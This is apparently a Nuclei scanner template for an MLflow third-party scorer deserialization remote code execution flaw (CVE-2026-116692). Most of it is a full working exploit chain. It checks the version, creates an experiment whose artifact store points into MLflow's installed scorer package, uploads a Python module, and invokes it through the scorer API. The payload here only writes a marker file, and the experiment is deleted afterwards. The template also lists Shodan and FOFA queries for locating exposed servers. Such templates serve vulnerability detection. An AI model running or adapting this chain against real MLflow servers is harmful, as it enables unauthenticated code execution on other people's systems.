id: CVE-2026-116692
info:
name: MLflow < 3.17.0 - Third-Party Scorer Deserialization Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
MLflow 3.12.0rc0 to < 3.17.0 contains a remote code execution caused by insecure third-party scorer deserialization in mlflow/genai/scorers/base.py, letting attackers execute arbitrary code via writable allowed packages, exploit requires writable allowed scorer package and appropriate privileges.
impact: |
Attackers can execute arbitrary code remotely, potentially compromising the server and its data.
remediation: |
Update to version 3.17.0 or later.
reference:
- https://github.com/mlflow/mlflow/security/advisories/GHSA-26p8-2jq9-3vq9
- https://nvd.nist.gov/vuln/detail/CVE-2026-116692
- https://github.com/mlflow/mlflow/commit/a732443e695c3c677680c54320efc394c81654ab
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-116692
epss-score: 0.0371
epss-percentile: 0.90549
cwe-id: CWE-94
metadata:
verified: true
max-request: 6
vendor: mlflow
product: mlflow
shodan-query: title:"MLflow"
fofa-query: title="MLflow"
tags: cve,cve2026,mlflow,deserialization,rce,unauth,intrusive,vkev
variables:
modname: "{{rand_base(6)}}"
marker: "{{rand_base(8)}}"
flow: |
(() => {
// http(1) carries the compare_versions range gate, so a false return means the
// server is outside 3.12.0 - 3.16.x and nothing further is sent to it.
if (!http(1)) { return; }
let v = template["mlver"];
if (!v) { return; }
if (Array.isArray(v)) { v = v[0]; }
// Official images ship python3.10 up to mlflow 3.15 and python3.11 from 3.16.
// A wrong path puts the module somewhere that can never be imported.
set("pydir", parseInt(String(v).split(".")[1], 10) >= 16 ? "python3.11" : "python3.10");
if (!http(2)) { return; }
if (!http(3)) { return; }
if (!http(4)) { return; }
http(5);
http(6);
http(7);
})();
http:
- raw:
- |
GET /version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(mlver) > 0'
- 'compare_versions(mlver, ">= 3.12.0", "< 3.17.0")'
condition: and
internal: true
extractors:
- type: regex
name: mlver
group: 1
internal: true
regex:
- '^([0-9]+\.[0-9]+\.[0-9]+)'
- raw:
- |
POST /api/2.0/mlflow/experiments/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{modname}}","artifact_location":"file:///usr/local/lib/{{pydir}}/site-packages/mlflow/genai/scorers/trulens"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "experiment_id")'
condition: and
internal: true
extractors:
- type: json
name: expid
internal: true
json:
- '.experiment_id'
- raw:
- |
POST /api/2.0/mlflow/runs/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{expid}}","run_name":"{{modname}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "run_id")'
condition: and
internal: true
extractors:
- type: json
name: runid
internal: true
json:
- '.run.info.run_id'
- raw:
- |
POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{runid}}&path=sc_{{modname}}.py HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
class Trigger:
def __init__(self, **kwargs):
import json
from pathlib import Path
p = Path(__file__).resolve().parent / "pf_{{marker}}.json"
p.write_text(json.dumps({"marker": "{{marker}}"}))
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{expid}}","trace_ids":["{{rand_base(6)}}"],"log_assessments":false,"serialized_scorer":"{\"name\":\"{{modname}}\",\"third_party_scorer_data\":{\"module\":\"mlflow.genai.scorers.trulens.{{runid}}.artifacts.sc_{{modname}}\",\"class\":\"Trigger\",\"metric_name\":\"m\",\"kwargs\":{}}}"}
- raw:
- |
GET /get-artifact?run_uuid={{runid}}&path=pf_{{marker}}.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, marker)'
condition: and
- raw:
- |
POST /api/2.0/mlflow/experiments/delete HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{expid}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
# digest: 4b0a004830460221009b8cc379a9f9ba97de3bc803903031831e5724fd0844e5988c61bace179d0513022100e1415ff420dbf8df2b569a59d5face6f2454a09ae72a5237eaa1568321f01ee5:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.